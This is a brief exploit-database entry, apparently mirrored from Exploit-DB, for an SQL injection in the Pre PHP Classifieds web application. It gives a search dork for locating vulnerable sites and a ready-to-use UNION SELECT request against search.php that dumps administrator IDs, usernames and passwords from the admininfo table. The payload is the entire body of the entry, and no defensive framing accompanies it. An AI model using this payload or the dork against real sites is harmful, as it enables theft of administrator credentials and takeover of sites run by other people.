Pre PHP Classifieds – SQL Injection

• Exploit Database
• 9 阅读

• 作者： Sangteamtham
  日期： 2010-06-22
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/13992/

• > #######################################################################
  > # Source: PHP Classifieds SQL injection Vulnerability
  > # Download: http://preproject.com/products.asp
  > # Dork : Power by PHP Classifieds
  > # Author: Sangteamtham@gmail.com
  > #
  > #######################################################################
  
  Exploit:
  http://localhost/clas/search.php?category=999999 UNION SELECT
  group_concat(adminid,0x3a,username,0x3a,password) from admininfo--